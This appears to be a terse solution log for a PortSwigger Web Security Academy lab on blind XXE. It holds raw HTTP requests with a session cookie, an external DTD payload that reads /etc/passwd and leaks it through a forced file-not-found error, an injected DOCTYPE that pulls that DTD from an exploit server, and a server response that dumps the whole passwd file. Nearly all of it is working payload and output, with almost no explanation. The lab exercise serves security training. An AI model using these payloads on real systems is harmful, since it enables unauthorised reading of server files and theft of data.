Port Swigger Exploiting blind XXE to retrieve data
Exploiting blind XXE to retrieve data via error messages
Solution
Check stock for productId=1
POST /product/stock HTTP/2
Host: 0a88004c03a6689f80c6f8c600e700a8.web-security-academy.net
Cookie: session=Tcoq0c3M8v2nPZDPL7sOKdLSMQFvkOqW
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a88004c03a6689f80c6f8c600e700a8.web-security-academy.net/product?productId=1
Content-Type: application/xml
Content-Length: 107
Origin: https://0a88004c03a6689f80c6f8c600e700a8.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
Create payload
Payload
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///fake_link/%file;'>">
%eval;
%exfil;
Edit request and read /etc/passwd
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0aae004b034b68038065f73e01230098.exploit-server.net/exploit"> %xxe;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
---
Old request
POST /product/stock HTTP/2
Host: 0a88004c03a6689f80c6f8c600e700a8.web-security-academy.net
Cookie: session=Tcoq0c3M8v2nPZDPL7sOKdLSMQFvkOqW
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a88004c03a6689f80c6f8c600e700a8.web-security-academy.net/product?productId=1
Content-Type: application/xml
Content-Length: 107
Origin: https://0a88004c03a6689f80c6f8c600e700a8.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
---
New request
POST /product/stock HTTP/2
Host: 0a88004c03a6689f80c6f8c600e700a8.web-security-academy.net
Cookie: session=Tcoq0c3M8v2nPZDPL7sOKdLSMQFvkOqW
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a88004c03a6689f80c6f8c600e700a8.web-security-academy.net/product?productId=1
Content-Type: application/xml
Content-Length: 234
Origin: https://0a88004c03a6689f80c6f8c600e700a8.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0aae004b034b68038065f73e01230098.exploit-server.net/exploit"> %xxe;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
___
Response
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2417
"XML parser exited with error: java.io.FileNotFoundException: /fake_link/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
peter:x:12001:12001::/home/peter:/bin/bash
carlos:x:12002:12002::/home/carlos:/bin/bash
user:x:12000:12000::/home/user:/bin/bash
elmer:x:12099:12099::/home/elmer:/bin/bash
academy:x:10000:10000::/academy:/bin/bash
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
mysql:x:106:107:MySQL Server,,,:/nonexistent:/bin/false
postgres:x:107:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
mongodb:x:110:117::/var/lib/mongodb:/usr/sbin/nologin
avahi:x:111:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:112:119:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
geoclue:x:113:120::/var/lib/geoclue:/usr/sbin/nologin
saned:x:114:122::/var/lib/saned:/usr/sbin/nologin
colord:x:115:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
pulse:x:116:124:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gdm:x:117:126:Gnome Display Manager:/var/lib/gdm3:/bin/false (No such file or directory)"
Solved